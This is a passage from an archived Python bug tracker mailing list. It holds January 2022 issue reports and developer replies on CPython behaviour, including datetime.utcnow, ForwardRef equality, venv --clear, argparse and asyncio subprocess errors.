12.0.0 (clang-1200.0.32.29)] $ python3.11 -m trace --trace class_def.py --- modulename: class_def, funcname: class_def.py(1): class theClass: --- modulename: class_def, funcname: theClass class_def.py(1): class theClass: class_def.py(2): ''' the docstring. ''' class_def.py(1): class theClass: <<<********* class_def.py(3): def __init__(self): ---------- components: Interpreter Core keywords: 3.11regression messages: 410217 nosy: Mark.Shannon, nedbat priority: normal severity: normal status: open title: 3.11: tracing revisits class line after class docstring versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 09:21:23 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 14:21:23 +0000 Subject: [issue46332] Use raise..from in logging/config instead of assigning __cause__ Message-ID: <1641824483.89.0.494458683054.issue46332@roundup.psfhosted.org> New submission from Irit Katriel : Lib/logging/config.py has this, which looks like it's partly remnants of old exception handling APIs: except ImportError: e, tb = sys.exc_info()[1:] v.__cause__, v.__traceback__ = e, tb raise v It is clearer if written as: except ImportError as e: v = ValueError('Cannot resolve %r: %s' % (s, e)) raise v from e (note that this doesn't copy the traceback from e to v, but this is redundant information anyway because e is chained to v as the cause). ---------- components: Library (Lib) messages: 410218 nosy: iritkatriel priority: normal severity: normal status: open title: Use raise..from in logging/config instead of assigning __cause__ versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 09:22:38 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 14:22:38 +0000 Subject: [issue46332] Use raise..from in logging/config instead of assigning __cause__ In-Reply-To: <1641824483.89.0.494458683054.issue46332@roundup.psfhosted.org> Message-ID: <1641824558.26.0.874370951104.issue46332@roundup.psfhosted.org> Change by Irit Katriel : ---------- nosy: +vinay.sajip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 09:23:10 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 14:23:10 +0000 Subject: [issue46332] Use raise..from in logging/config instead of assigning __cause__ In-Reply-To: <1641824483.89.0.494458683054.issue46332@roundup.psfhosted.org> Message-ID: <1641824590.87.0.388034207104.issue46332@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +patch pull_requests: +28719 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30517 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 09:28:32 2022 From: report at bugs.python.org (Tony Rice) Date: Mon, 10 Jan 2022 14:28:32 +0000 Subject: [issue12756] datetime.datetime.utcnow should return a UTC timestamp In-Reply-To: <1313477575.0.0.856648078618.issue12756@psf.upfronthosting.co.za> Message-ID: <1641824912.73.0.0120854331315.issue12756@roundup.psfhosted.org> Tony Rice added the comment: This enhancement request should be reconsidered. Yes it is the documented behavior but that doesn't mean it's the right behavior. Functions should work as expected not just in the context of the module they are implemented in but the context of the problem they are solving. The suggested workaround of essentially nesting the specified UTC time via datetime.now(timezone.utc) is ugly rather than beautiful, complex rather than simple, and nested instead of flat. The suggestion that now is preferred over isnow loses sight that UTC is not like other timezones. A lot has changed since Python 2.7 was released in 2010. It is the default timezone of cloud infrastructure. ---------- nosy: +rtphokie _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 09:39:59 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 14:39:59 +0000 Subject: [issue46332] Use raise..from in logging/config instead of assigning __cause__ In-Reply-To: <1641824483.89.0.494458683054.issue46332@roundup.psfhosted.org> Message-ID: <1641825599.38.0.903914587278.issue46332@roundup.psfhosted.org> Irit Katriel added the comment: Lib/logging/config.py has this, which looks like it's partly remnants of old exception handling APIs: except ImportError: e, tb = sys.exc_info()[1:] v = ValueError('Cannot resolve %r: %s' % (s, e)) v.__cause__, v.__traceback__ = e, tb raise v It is clearer if written as: except ImportError as e: v = ValueError('Cannot resolve %r: %s' % (s, e)) raise v from e (note that this doesn't copy the traceback from e to v, but this is redundant information anyway because e is chained to v as the cause). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 09:40:07 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 14:40:07 +0000 Subject: [issue46332] Use raise..from in logging/config instead of assigning __cause__ In-Reply-To: <1641825599.38.0.903914587278.issue46332@roundup.psfhosted.org> Message-ID: <1641825607.07.0.286073718499.issue46332@roundup.psfhosted.org> Change by Irit Katriel : ---------- Removed message: https://bugs.python.org/msg410218 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 10:20:29 2022 From: report at bugs.python.org (Andreas H.) Date: Mon, 10 Jan 2022 15:20:29 +0000 Subject: [issue46333] ForwardRef.__eq__ does not respect module parameter Message-ID: <1641828029.13.0.319383260427.issue46333@roundup.psfhosted.org> New submission from Andreas H. : The __eq__ method of ForwardRef does not take into account the module parameter. However, ForwardRefs with dissimilar module parameters are referring to different types even if they have different name. Thus also the ForwardRef's with same name but different module, should not be considered equal. Consider the following code from typing import * ZZ = Optional['YY'] YY = int YY = Tuple[Optional[ForwardRef("YY", module=__name__)], int] print( YY.__args__[0].__args__[0].__forward_module__ ) # this prints None, but should print __main__ (or whatever __name__ contains) When the first ForwardRef is not created, the program behaves correctly #ZZ = Optional['YY'] YY = int YY = Tuple[Optional[ForwardRef("YY", module=__name__)], int] print( YY.__args__[0].__args__[0].__forward_module__ ) # this prints __main__ (or whatever __name__ contains) The issue is that the line `ZZ = Optional['YY']` creates a cache entry, which is re-used instead of the second definition `Optional[ForwardRef("YY", module=__name__)]` and thus shadows the different argument of ForwardRef. This problem could be fixed if the __eq__ method of FowardRef also checks for module equality. i.e. in ForwardRef.__eq__ in typing.py replace return self.__forward_arg__ == other.__forward_arg__ with return self.__forward_arg__ == other.__forward_arg__ and self.__forward__module__ == other.__forward__module__ Ideally, (and for consistency reasons) the `__repr__` method of `ForwardRef` would also include the module arg if it present: Change: def __repr__(self): return f'ForwardRef({self.__forward_arg__!r})' to def __repr__(self): if self.__forward_module__ is None: return f'ForwardRef({self.__forward_arg__!r})' else: return f'ForwardRef({self.__forward_arg__!r}, module={self.__forward__module!r})' ---------- components: Library (Lib) messages: 410221 nosy: andreash, gvanrossum, kj priority: normal severity: normal status: open title: ForwardRef.__eq__ does not respect module parameter type: behavior versions: Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 10:33:09 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Mon, 10 Jan 2022 15:33:09 +0000 Subject: [issue46328] add sys.exception() In-Reply-To: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> Message-ID: <1641828789.47.0.890911922621.issue46328@roundup.psfhosted.org> Dennis Sweeney added the comment: Would there be any value in spelling this as sys.active_exception() or sys.current_exception() or sys.get_exception() or sys.exception_in_flight() or similar? My only worry is confusion between sys.exception() versus builtins.Exception. ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 10:49:20 2022 From: report at bugs.python.org (Ned Deily) Date: Mon, 10 Jan 2022 15:49:20 +0000 Subject: [issue46326] 'virtualenv --clear' should prompt user before nuking entire directory In-Reply-To: <1641805306.76.0.639944392664.issue46326@roundup.psfhosted.org> Message-ID: <1641829760.16.0.92950053021.issue46326@roundup.psfhosted.org> Ned Deily added the comment: It appears you are describing behavior in the third-party virtualenv project; if so, you should report the problem to that project (https://pypi.org/project/virtualenv/). If similar behavior is also an issue with the Python standard library venv module (which is a derivative of virtualenv), please update this issue accordingly. Thanks! https://docs.python.org/3/library/venv.html ---------- nosy: +ned.deily status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 11:10:04 2022 From: report at bugs.python.org (Eric Snow) Date: Mon, 10 Jan 2022 16:10:04 +0000 Subject: [issue46328] add sys.exception() In-Reply-To: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> Message-ID: <1641831004.03.0.0632962661376.issue46328@roundup.psfhosted.org> Eric Snow added the comment: So sys.exception() will be equivalent to sys.exc_info()[1] (or rather, sys.exc_info() will be (type(sys.exception()), sys.exception(), sys.exception().__traceback__))? That seems good to me. ---------- nosy: +eric.snow _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 11:10:18 2022 From: report at bugs.python.org (Eric Snow) Date: Mon, 10 Jan 2022 16:10:18 +0000 Subject: [issue46328] add sys.exception() In-Reply-To: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> Message-ID: <1641831018.96.0.24675532921.issue46328@roundup.psfhosted.org> Eric Snow added the comment: FWIW, here's an alternative we should *not* pursue: return just the exception from sys.exc_info(). For compatibility, we would implement `__iter__` and `__getitem__` on BaseException, to duplicate the behavior of the current tuple. There are a number of good reasons why this is *not* what we should do. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 11:23:42 2022 From: report at bugs.python.org (Marc-Andre Lemburg) Date: Mon, 10 Jan 2022 16:23:42 +0000 Subject: [issue12756] datetime.datetime.utcnow should return a UTC timestamp In-Reply-To: <1641824912.73.0.0120854331315.issue12756@roundup.psfhosted.org> Message-ID: Marc-Andre Lemburg added the comment: Hi Tony, from practical experience, it is a whole lot better to not deal with timezones in data processing code at all, but instead only use naive UTC datetime values everywhere, expect when you have to prepare reports or output which has a requirement to show datetime value in local time or some specific timezone. You convert all datetime values into UTC upon input, possibly store the timezone somewhere, if that is relevant for later reporting, and then forget about timezones. Your code will run faster, become a lot easier to understand and you avoid many pitfalls that TZs have, esp. when TZs are silently dropped interfacing to e.g. numeric code, databases or other external code. There's a reason why cloud code (and a lot of other code, such as data science code) has standardized on UTC :-) Cheers, -- Marc-Andre Lemburg eGenix.com ---------- nosy: +lemburg _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 11:24:02 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 Jan 2022 16:24:02 +0000 Subject: [issue46331] 3.11: tracing revisits class line after class docstring In-Reply-To: <1641824277.2.0.130093951073.issue46331@roundup.psfhosted.org> Message-ID: <1641831842.95.0.338023501333.issue46331@roundup.psfhosted.org> Change by Mark Shannon : ---------- keywords: +patch pull_requests: +28720 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30518 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 11:24:19 2022 From: report at bugs.python.org (Mark Shannon) Date: Mon, 10 Jan 2022 16:24:19 +0000 Subject: [issue46331] 3.11: tracing revisits class line after class docstring In-Reply-To: <1641824277.2.0.130093951073.issue46331@roundup.psfhosted.org> Message-ID: <1641831859.13.0.767514708889.issue46331@roundup.psfhosted.org> Change by Mark Shannon : ---------- assignee: -> Mark.Shannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 11:30:25 2022 From: report at bugs.python.org (Eric Snow) Date: Mon, 10 Jan 2022 16:30:25 +0000 Subject: [issue46320] runtime/interp/thread state refactoring leads to segmentation fault In-Reply-To: <1641761312.51.0.52946214208.issue46320@roundup.psfhosted.org> Message-ID: <1641832225.29.0.695019827034.issue46320@roundup.psfhosted.org> Eric Snow added the comment: I'll look into this today. To reproduce, I should run the urllib3 test suite? ---------- assignee: -> eric.snow stage: -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 11:31:27 2022 From: report at bugs.python.org (Eryk Sun) Date: Mon, 10 Jan 2022 16:31:27 +0000 Subject: [issue46326] 'virtualenv --clear' should prompt user before nuking entire directory In-Reply-To: <1641805306.76.0.639944392664.issue46326@roundup.psfhosted.org> Message-ID: <1641832287.61.0.727914458517.issue46326@roundup.psfhosted.org> Eryk Sun added the comment: Ned, the CLI of venv has a `--clear` option, which invokes EnvBuilder [1] with clear=True. It's implemented by EnvBuilder.clear_directory(). Ali wants this method to prompt for confirmation before deleting the directory contents and also proposes the addition of a new `--force` option to skip the prompt. --- [1] https://docs.python.org/3/library/venv.html#api ---------- nosy: +eryksun status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 11:35:56 2022 From: report at bugs.python.org (Ned Deily) Date: Mon, 10 Jan 2022 16:35:56 +0000 Subject: [issue46326] 'virtualenv --clear' should prompt user before nuking entire directory In-Reply-To: <1641805306.76.0.639944392664.issue46326@roundup.psfhosted.org> Message-ID: <1641832556.73.0.987005330178.issue46326@roundup.psfhosted.org> Ned Deily added the comment: > Ned, the CLI of venv has a `--clear` option, which invokes EnvBuilder [1] with clear=True. Thanks, I saw that. However, the issue as written does not mention venv at all, only virtualenv. I wanted the OP to verify that it does apply to venv and, if the problem exists both places, to update this issue and to open an issue against virtualenv. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 11:53:56 2022 From: report at bugs.python.org (Eryk Sun) Date: Mon, 10 Jan 2022 16:53:56 +0000 Subject: [issue46326] 'virtualenv --clear' should prompt user before nuking entire directory In-Reply-To: <1641805306.76.0.639944392664.issue46326@roundup.psfhosted.org> Message-ID: <1641833636.02.0.431684213713.issue46326@roundup.psfhosted.org> Eryk Sun added the comment: The implementation of `--clear` in virtualenv apparently was changed to align with venv. On the linked virtualenv issue, Bern?t G?bor suggested creating a bpo issue for venv to determine how the issue should be resolved for virtualenv. ---------- nosy: +vinay.sajip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 12:01:12 2022 From: report at bugs.python.org (Quentin Pradet) Date: Mon, 10 Jan 2022 17:01:12 +0000 Subject: [issue46320] runtime/interp/thread state refactoring leads to segmentation fault In-Reply-To: <1641761312.51.0.52946214208.issue46320@roundup.psfhosted.org> Message-ID: <1641834072.18.0.33433960426.issue46320@roundup.psfhosted.org> Quentin Pradet added the comment: Yes, exactly. `pip install nox && nox -Rs test-3.11`. My reproducer is still too big to be useful, and I failed to reproduce this on Docker. If you can't reproduce, I'll work on the reproducer more. Thanks! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 12:04:10 2022 From: report at bugs.python.org (R. David Murray) Date: Mon, 10 Jan 2022 17:04:10 +0000 Subject: [issue12756] datetime.datetime.utcnow should return a UTC timestamp In-Reply-To: <1313477575.0.0.856648078618.issue12756@psf.upfronthosting.co.za> Message-ID: <1641834250.15.0.777085805511.issue12756@roundup.psfhosted.org> R. David Murray added the comment: Note also that datetime.now() gives you a naive datetime. From an API consistency standpoint I think it makes sense that datetime.utcnow() gives a naive datetime. It would actually be confusing (IMO) for it to return an aware datetime. I can see why you might disagree, but backward compatibility wins in this case regardless. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 12:13:20 2022 From: report at bugs.python.org (Tony Rice) Date: Mon, 10 Jan 2022 17:13:20 +0000 Subject: [issue12756] datetime.datetime.utcnow should return a UTC timestamp In-Reply-To: <1313477575.0.0.856648078618.issue12756@psf.upfronthosting.co.za> Message-ID: <1641834800.91.0.158232204329.issue12756@roundup.psfhosted.org> Tony Rice added the comment: I would argue that PEP20 should win over backward compatibility, in addition to the points I hinted at above, practicality beats purity ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 12:20:52 2022 From: report at bugs.python.org (Trey Hunner) Date: Mon, 10 Jan 2022 17:20:52 +0000 Subject: [issue46334] Glossary URLs with anchor link no longer jump to definitions Message-ID: <1641835252.55.0.383081716651.issue46334@roundup.psfhosted.org> New submission from Trey Hunner : The glossary page allows for anchor links to jump to specific definitions. For example: https://docs.python.org/3.9/glossary.html#term-lbyl will open the glossary page with the web browser showing the LBYL at the top of the page. This no longer works in Python 3.10 and Python 3.11 documentation. https://docs.python.org/3.10/glossary.html#term-lbyl https://docs.python.org/3.11/glossary.html#term-lbyl Opening either of those links in Chrome or Firefox on my machine results in the glossary page being opened without any scrolling (the top of the glossary page is shown rather than the LBYL definition). ---------- assignee: docs at python components: Documentation messages: 410234 nosy: docs at python, trey priority: normal severity: normal status: open title: Glossary URLs with anchor link no longer jump to definitions type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 12:36:32 2022 From: report at bugs.python.org (Alex Waygood) Date: Mon, 10 Jan 2022 17:36:32 +0000 Subject: [issue46334] Glossary URLs with anchor link no longer jump to definitions In-Reply-To: <1641835252.55.0.383081716651.issue46334@roundup.psfhosted.org> Message-ID: <1641836192.31.0.362964049987.issue46334@roundup.psfhosted.org> Alex Waygood added the comment: Reproduced on safari on my iPad, as well. ---------- nosy: +AlexWaygood _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 12:54:16 2022 From: report at bugs.python.org (Steve Fox) Date: Mon, 10 Jan 2022 17:54:16 +0000 Subject: [issue41534] argparse : allow_abbrev behavior between 3.7 and 3.8 In-Reply-To: <1597255813.65.0.986302240119.issue41534@roundup.psfhosted.org> Message-ID: <1641837256.19.0.22985975602.issue41534@roundup.psfhosted.org> Steve Fox added the comment: Fundamentally the use of allow_abbrev=False is now broken (it is allowing abbreviations when already explicitly told not to) The use of a single - for all options is much older than -- and exists in my unix utilities and many programs have been written to follow this convention, these are now broken in 3.8+ "Changed in version 3.8: In previous versions, allow_abbrev also disabled grouping of short flags such as -vv to mean -v -v" Does not accurately describe the behavior change, it is more broadly injecting abbreviations when already told not to. ---------- nosy: +Fox214 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 13:10:18 2022 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 10 Jan 2022 18:10:18 +0000 Subject: [issue46333] ForwardRef.__eq__ does not respect module parameter In-Reply-To: <1641828029.13.0.319383260427.issue46333@roundup.psfhosted.org> Message-ID: <1641838218.3.0.0368372808368.issue46333@roundup.psfhosted.org> Guido van Rossum added the comment: Good catch. Do you want to submit a PR? I agree that the repr() could also be better (but please only show other values if they differ from the default). ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 13:10:27 2022 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 10 Jan 2022 18:10:27 +0000 Subject: [issue46333] ForwardRef.__eq__ does not respect module parameter In-Reply-To: <1641828029.13.0.319383260427.issue46333@roundup.psfhosted.org> Message-ID: <1641838227.9.0.51844430565.issue46333@roundup.psfhosted.org> Change by Guido van Rossum : ---------- stage: -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 13:19:31 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Mon, 10 Jan 2022 18:19:31 +0000 Subject: [issue46142] python --help output is too long In-Reply-To: <1640043795.98.0.690443918792.issue46142@roundup.psfhosted.org> Message-ID: <1641838771.25.0.201897114943.issue46142@roundup.psfhosted.org> ?ric Araujo added the comment: > For me, the best CLI is "git help", "git help init", etc. I don?t think that prior art applies here, as python does not have subcommands. `--help` and `--help-env` are straightforward, `-X help` is a bit unusual but at least it?s part of the optional `-X` options, `--help-full` or `-all` would be way to preserve the behaviour of printing full usage with one option. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 13:20:57 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Mon, 10 Jan 2022 18:20:57 +0000 Subject: [issue46142] python --help output is too long In-Reply-To: <1640043795.98.0.690443918792.issue46142@roundup.psfhosted.org> Message-ID: <1641838857.38.0.935950874545.issue46142@roundup.psfhosted.org> ?ric Araujo added the comment: BTW on the PR I am asking for help with string formatting, to print an invalid X option (a wchar_t string) using the PyStatus API (needs char). Help from a proper C programmer would be appreciated :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 13:38:09 2022 From: report at bugs.python.org (Barry A. Warsaw) Date: Mon, 10 Jan 2022 18:38:09 +0000 Subject: [issue46328] add sys.exception() In-Reply-To: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> Message-ID: <1641839889.08.0.231777529683.issue46328@roundup.psfhosted.org> Change by Barry A. Warsaw : ---------- nosy: +barry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 13:40:59 2022 From: report at bugs.python.org (Paul Ganssle) Date: Mon, 10 Jan 2022 18:40:59 +0000 Subject: [issue12756] datetime.datetime.utcnow should return a UTC timestamp In-Reply-To: <1313477575.0.0.856648078618.issue12756@psf.upfronthosting.co.za> Message-ID: <1641840059.52.0.528023799938.issue12756@roundup.psfhosted.org> Paul Ganssle added the comment: > from practical experience, it is a whole lot better to not deal with timezones in data processing code at all, but instead only use naive UTC datetime values everywhere, expect when you have to prepare reports or output which has a requirement to show datetime value in local time or some specific timezone. This is not good advice. It is out of date, and has some significant pitfalls. See my blog post on the subject: https://blog.ganssle.io/articles/2019/11/utcnow.html If you are working with `datetime` objects that represent time in a specific time zone other than the system local zone, you should probably have them carry around a tzinfo object. > Note also that datetime.now() gives you a naive datetime. From an API consistency standpoint I think it makes sense that datetime.utcnow() gives a naive datetime. This... is not accurate. `.now()` gives you the local time; to the extent that they represent a date in a time zone at all, na?ve time zones represent times in the *system local time*, which is why it makes sense for `.now()` to default to returning na?ve time zones. For example, `datetime.now().timestamp()` will give accurate information, whereas `datetime.utcnow().timestamp()` will *not* (unless your local zone happens to be UTC or equivalent). > It would actually be confusing (IMO) for it to return an aware datetime. I can see why you might disagree, but backward compatibility wins in this case regardless. As evidenced by this thread, the fact that we have some APIs that return na?ve datetimes generated by a process that treats them as localized datetimes in something other than system local times is actually the source of confusion ? That said, from a backwards compatibility point of view, we simply cannot change this. It has been proposed many times and it would be a major breaking change for almost no reason. The best we can do is to deprecate the offending methods and remove them. There is more information about the challenge that doing this would present in this datetime-SIG thread: https://mail.python.org/archives/list/datetime-sig at python.org/thread/PT4JWJLYBE5R2QASVBPZLHH37ULJQR43/ I am sympathetic to the idea of removing it, but we would probably want to put some optimizations in place for `UTC` first, to make the transition more seamless in the few places where there are legitimate uses for `utcnow` and `utcfromtimestamp`. > I would argue that PEP20 should win over backward compatibility, in addition to the points I hinted at above, practicality beats purity PEP 20 contains a bunch of contradictory advice, and it's not really a binding document anyway, so it definitely doesn't "win" over anything, but in this case you have it backwards. "Purity" would be making a breaking change for the purposes of making the function do what a lot of people think it does, but doing so would actually be impractical, because it would cause a lot of work for people, and create a lot of ambiguity in what people meant when they wrote a given line of code. The practical things to do here would be to either do nothing (not break anything that works and try and guide people away from using `utcnow` ? maybe get a linting rule added to `pylint` to warn against it), or to deprecate and remove the function. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 13:55:16 2022 From: report at bugs.python.org (paul j3) Date: Mon, 10 Jan 2022 18:55:16 +0000 Subject: [issue46101] argparse: using parents & subcommands, options can be ignored In-Reply-To: <1639668546.2.0.488904720024.issue46101@roundup.psfhosted.org> Message-ID: <1641840916.08.0.630207679153.issue46101@roundup.psfhosted.org> paul j3 added the comment: This patch should be rejected. By using `common_opts_parser` as parent to both the main and subparsers, you have defined the same argument in both. By a long standing patch, the value assigned in the subparser has precedence (whether it's the default or user supplied). https://bugs.python.org/issue9351 argparse set_defaults on subcommands should override top level set_defaults Partial retraction of this override has been explored, but any changes are still up for debate https://bugs.python.org/issue45235 argparse does not preserve namespace with subparser defaults The bottom line is that we should not try to define the same argument (or more specifically the same `dest`) in both main and subparsers. Duplicate flags are ok. But resolving the conflicting values should be done after parsing. Some users will want to give priority to the main parser's values, others to the subparser's. Or their own defaults. argparse cannot handle all cases cleanly. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 13:55:53 2022 From: report at bugs.python.org (Clint Olsen) Date: Mon, 10 Jan 2022 18:55:53 +0000 Subject: [issue46335] asyncio.create_subprocess_exec throws RuntimeError yet still executes subprogram Message-ID: <1641840953.56.0.83398324511.issue46335@roundup.psfhosted.org> New submission from Clint Olsen : When stress testing my code in a process-limited environment I found that despite throwing an exception, it appears the process still executes. Attempting to catch/retry results in a duplicate. Attached is a script that I was able to repro the problem on Linux. I cannot get it to behave similarly on MacOS. The exception looks like: /bin/sh: fork: retry: Resource temporarily unavailable Traceback (most recent call last): File "/home/colsen/async/./example", line 16, in run proc = await asyncio.create_subprocess_exec('/bin/sh','-c', f'/bin/echo {_id} > {_uuid}.out') File "/home/utils/Python/3.9/3.9.7-20211101/lib/python3.9/asyncio/subprocess.py", line 236, in create_subprocess_exec transport, protocol = await loop.subprocess_exec( File "/home/utils/Python/3.9/3.9.7-20211101/lib/python3.9/asyncio/base_events.py", line 1661, in subprocess_exec transport = await self._make_subprocess_transport( File "/home/utils/Python/3.9/3.9.7-20211101/lib/python3.9/asyncio/unix_events.py", line 202, in _make_subprocess_transport watcher.add_child_handler(transp.get_pid(), File "/home/utils/Python/3.9/3.9.7-20211101/lib/python3.9/asyncio/unix_events.py", line 1381, in add_child_handler thread.start() File "/home/utils/Python/3.9/3.9.7-20211101/lib/python3.9/threading.py", line 892, in start _start_new_thread(self._bootstrap, ()) RuntimeError: can't start new thread So, this script ended up producing 21 output files (duplicate on iteration 18). I need a way to catch these errors, pause, and retry when they are recoverable. ---------- components: asyncio files: example messages: 410242 nosy: Clint Olsen, asvetlov, yselivanov priority: normal severity: normal status: open title: asyncio.create_subprocess_exec throws RuntimeError yet still executes subprogram versions: Python 3.9 Added file: https://bugs.python.org/file50553/example _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 13:59:35 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 18:59:35 +0000 Subject: [issue46332] Use raise..from in logging/config instead of assigning __cause__ In-Reply-To: <1641825599.38.0.903914587278.issue46332@roundup.psfhosted.org> Message-ID: <1641841175.98.0.380346400055.issue46332@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 0d639678d33a0f085851a07259b8fe2782943118 by Irit Katriel in branch 'main': bpo-46332: use raise..from instead of assigning __cause__ and raising (GH-30517) https://github.com/python/cpython/commit/0d639678d33a0f085851a07259b8fe2782943118 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 13:59:47 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 18:59:47 +0000 Subject: [issue46332] Use raise..from in logging/config instead of assigning __cause__ In-Reply-To: <1641825599.38.0.903914587278.issue46332@roundup.psfhosted.org> Message-ID: <1641841187.74.0.933021600061.issue46332@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 14:04:18 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 19:04:18 +0000 Subject: [issue32679] concurrent.futures should store full sys.exc_info() In-Reply-To: <1516976610.0.0.467229070634.issue32679@psf.upfronthosting.co.za> Message-ID: <1641841458.43.0.529370304457.issue32679@roundup.psfhosted.org> Irit Katriel added the comment: Following the changes in issue45711, exc_info[2] is exactly the same as exc_info[1].__traceback__, so there is no point in making this change now. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 14:09:11 2022 From: report at bugs.python.org (Ethan Furman) Date: Mon, 10 Jan 2022 19:09:11 +0000 Subject: [issue46301] Enum tests: One branch is not covered in `Enum._convert_` In-Reply-To: <1641597332.21.0.584646171206.issue46301@roundup.psfhosted.org> Message-ID: <1641841751.77.0.03790633027.issue46301@roundup.psfhosted.org> Ethan Furman added the comment: New changeset 582286d71c7ee61f5376a846a83c7be4a5727636 by Nikita Sobolev in branch 'main': bpo-46301: [Enum] fix refleak tests (GH30510) https://github.com/python/cpython/commit/582286d71c7ee61f5376a846a83c7be4a5727636 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 14:12:42 2022 From: report at bugs.python.org (Ethan Furman) Date: Mon, 10 Jan 2022 19:12:42 +0000 Subject: [issue46327] `test_enum` contains tests for older versions of python In-Reply-To: <1641809022.94.0.176766366407.issue46327@roundup.psfhosted.org> Message-ID: <1641841962.18.0.0328335104663.issue46327@roundup.psfhosted.org> Ethan Furman added the comment: New changeset 13e4659276c2af2fa5b0f2b3a31dcd69064868ef by Nikita Sobolev in branch 'main': bpo-46327: [Enum] remove skipped tests (GH-30512) https://github.com/python/cpython/commit/13e4659276c2af2fa5b0f2b3a31dcd69064868ef ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 14:19:45 2022 From: report at bugs.python.org (Trey Hunner) Date: Mon, 10 Jan 2022 19:19:45 +0000 Subject: [issue46334] Glossary URLs with anchor link no longer jump to definitions In-Reply-To: <1641835252.55.0.383081716651.issue46334@roundup.psfhosted.org> Message-ID: <1641842385.8.0.624949659899.issue46334@roundup.psfhosted.org> Trey Hunner added the comment: I just realized those only affects some terms. parameter works: https://docs.python.org/3/glossary.html#term-parameter And LBYL does work but only if LBYL was used: https://docs.python.org/3/glossary.html#term-LBYL The EAFP term does link to #term-LBYL instead of the old #term-lbyl. It looks like the capitalization changed. The search doesn't seem to know that though (the LBYL glossary link at the top is broken): https://docs.python.org/3/search.html?q=lbyl I would vote for changing the link back to lowercase rather than changing the search to link to the new URL. Otherwise links to specific glossary terms scattered around the internet will all link to the top of the glossary page instead. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 14:30:34 2022 From: report at bugs.python.org (paul j3) Date: Mon, 10 Jan 2022 19:30:34 +0000 Subject: [issue46057] argparse: embedded groups may prevent options from being in help output In-Reply-To: <1639320798.63.0.0421812802369.issue46057@roundup.psfhosted.org> Message-ID: <1641843034.68.0.643822860239.issue46057@roundup.psfhosted.org> paul j3 added the comment: "I tried to create a group hierarchy in a way that I can pass the responsibility of argument validation to 